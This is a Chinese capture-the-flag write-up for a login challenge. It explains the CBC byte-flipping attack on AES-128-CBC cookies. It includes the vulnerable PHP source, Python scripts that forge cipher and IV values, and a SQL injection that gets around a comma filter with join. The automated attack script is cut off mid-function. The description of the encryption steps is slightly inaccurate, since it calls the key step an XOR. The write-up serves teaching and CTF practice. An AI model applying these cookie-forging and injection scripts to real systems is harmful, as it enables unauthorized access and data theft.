实验吧 WEB writeup(详细基础)

前言

写着破玩意要写一个保存一个,保险, 一口气写最后一下子卡了没保存, 从头再来mmp

简单的登录题

这题真的难,其中涉及到了一个很重要的知识点–cbc字节翻转攻击
再讲cbc之前先简单提一下异或的几个基本公式,在之后会用到

异或基本公式

C = A ^ B => A = C ^ B => B = A ^ C
A ^ B ^ C = 0

CBC字节翻转攻击

核心攻击思想:通过损坏密文字节来改变明文字节
想要灵活进行攻击,就要先了解算法原理
AES-128-CBC加密原理图
在这里插入图片描述
Plaintext:待加密的数据–明文
Initiationn Vector(IV):用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文
Key:秘钥
Ciphertext:加密后的数据–密文

CBC算法工作于一个一段固定长度的比特组,一比特组称为块,AES-128-CBC算法中的128指的是128位及16字节,故此算法中的块由16字节组成

加密过程
将明文换分为16字节一块,不够则用特殊字符进行填充
生成指定秘钥以及随机初始化向量
第一块明文与IV进行异或产生一个过渡型密文
KEY与过渡型密文进行异或产生第一块密文
第一块密文以新的IV的身份参与第二块明文的加密

循环直至所有明文块被转换为密文块将IV与所有的密文块拼接形成最终的密文

加密特性
前一块的密文参与产生后一块的密文

AES-128-CBC解密原理图
在这里插入图片描述
了解了加密,解密就很简单了,解密无非就是反过来的加密
解密特性
前一块的密文参与还原后一块的密文

解密过程
从密文中提取IV
密文分块
KEY与第一块密文进行异或得到过渡型密文
过渡型密文与KEY异或得到第一块明文
第一块密文以新的IV的身份参与第二块密文的解密

循环至所有密文被转换后将明文块拼接得到明文

AES-128-CBC攻击图
在这里插入图片描述
cbc翻转攻击利用解密特性
一块明文是由前一块密文或IV参与异或得到的,由于异或运算字节是一一对应的,如果对指定密文字节进行控制,即可对指定明文的字节进行控制,从而生成指定明文

了解了原理,接下来进入题目看一下具体如何控制

回归题目
抓包
在这里插入图片描述
访问test.php得到源码

<?php

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
   
    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
   
        return 1;
    }
    return 0;
}
function get_random_iv(){
   
    $random_iv='';
    for($i=0;$i<16;$i++){
   
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
   
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
   
    global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
   
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
   
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);

            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
   
                $rows=mysqli_fetch_array($result);
                echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
            }
            else{
   
                echo '<h1><center>Hello!</center></h1>';
            }
        }else{
   
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
   
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
        die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
   
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
   
        show_homepage();
    }else{
   
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" val`在这里插入代码片`ue="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

代码审计
如果有$_POST['id'] 进行sql注入检测,如果没有检测到sql攻击之后便序列化最终生成cipher
如果没有$_POST['id'],但有ivcipher,则进行base64解密以及aes-128-cbc解密后再进行反序列得到$info['id'],再利用$info['id']进行sql查询

解题思路
很显然是利用cbc翻转攻击,因为即便修改$_POST['id'] 绕过了sqliCheck也没有sql语句可以利用。
通过post传值生成ivcipher,之后再对cipher进行修改得到可控的$info['id']来进行sql攻击

观察sql语句$sql="select * from users limit ".$info['id'].",0";
limit的step为0的情况下无论如何查询都永远不可能得到返回信息,故构造KaTeX parse error: Expected 'EOF', got '#' at position 14: info['id']为`1#̲` 由于`#`被waf,所以先…info[‘id’]为12,之后再通过cbc翻转攻击修改为1#即可

由于序列化的存在,所以实际上构造的明文为a:1:{s:2:"id";s:2:"12";},可以通过脚本将其分为明文块

<?php
$id=@$_POST['id'];
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
   
    echo substr($plain,$i*16,16).'<br/>';
}

在这里插入图片描述
得知字符2的偏移度为4

利用异或进行控制
密文块 = 错误明文 ^ 前一块密文或IV
新的前一块密文或IV = 正确明文 ^ 密文块

新的前一块密文或IV = 正确明文 ^ 错误明文 ^ 前一块密文或IV

# -*- coding:utf8 -*-
__author__='pcat@chamd5.org' #脚本源于网上
from base64 import *
import urllib
cipher='Q8q16HNTspdj2W64X67xqLXUnAAdrH9RpiGfuUn6bAA%3D'
cipher_raw=b64decode(urllib.unquote(cipher))  #这里先进行了urldecode
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) #进行了异或控制
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new

得到新密文Q8q16GJTspdj2W64X67xqLXUnAAdrH9RpiGfuUn6bAA%3D

用新密文和旧iv进行访问得到
在这里插入图片描述
无法反序列的原因是因为第一个密文块是新的,但iv没有修改成新的

# -*- coding:utf8 -*-
__author__ = 'pcat@chamd5.org'
from base64 import *
import urllib
iv = 'bsyqa8f%2FOAdH5K7J%2FhPkDg%3D%3D'
iv_raw = b64decode(urllib.unquote(iv))
first = 'a:1:{s:2:"id";s:'
plain = b64decode('k91UszoTcuHCHdU1/44/tjI6IjEjIjt9')
iv_new = ''
for i in range(16):
    iv_new += chr(ord(plain[ i ]) ^ ord(first[ i ]) ^ ord(iv_raw[ i ]))
iv_new = urllib.quote(b64encode(iv_new))
print iv_new

得到新ivnCvP4oafcNS/2xKYI6aogg%3D%3D
在这里插入图片描述
构造成功

构造sql注入
由于之前sqlCheckwaf逗号,所以要利用join来绕过逗号
在这里插入图片描述
还有一个坑,此题构造的sql语句为select * from users where id='0' limit 1,1 union select * from ((select 1)a join (select 2)b join (select 3)c); 不过这个语句在mysql版本5.7之后便不可使用了,需要括号包裹
在这里插入图片描述
注入脚本

# -*- coding:utf8 -*-
# cbc字节反转
__author__ = 'pcat@chamd5.org'

from base64 import *
import urllib
import requests
import re


def mydecode(value):
    return b64decode(urllib.unquote(value))


def myencode(value):
    return urllib.quote(b64encode(value))


def mycbc(value, idx, c1, c2):
    lst = list(value)
    lst[ idx ] = chr(ord(lst[ idx ]) ^ ord(c1) ^ ord(c2))
    return ''.join(lst)


def pcat(payload, idx, c1, c2):
    url = r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
    myd = {
   'id': payload}
    res = requests.post(url, data=myd)
    cookies = res.headers[ 'Set-Cookie' ]

    iv = re.findall(r'iv=(.*?),', cookies)[ 0 ]
    cipher = re.findall(r'cipher=(.*)', cookies)[ 0 ]

    iv_raw = mydecode(iv)
    cipher_raw = mydecode(cipher)

    cipher_new = myencode(mycbc(cipher_raw, idx, c1, c2))
    cookies_new = {
   'iv': iv, 'cipher': cipher_new}
    cont = requests.get(url, cookies=cookies_new).content
    plain = b64decode(re.findall(r"base64_decode\('(.*?)'\)", cont)[ 0 ])

    first = 'a:1:{s:2:"id";s:'
    iv_new = ''
    for i in range(16):
        iv_new += chr(ord(first[ i ]) ^ ord(plain[ i ]) ^ ord(iv_raw[ i ]))
    iv_new = myencode(iv_new)

    cookies_new = {
   'iv': iv_new, 'cipher': cipher_new}
    cont = requests.get(url, cookies=cookies_new)
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值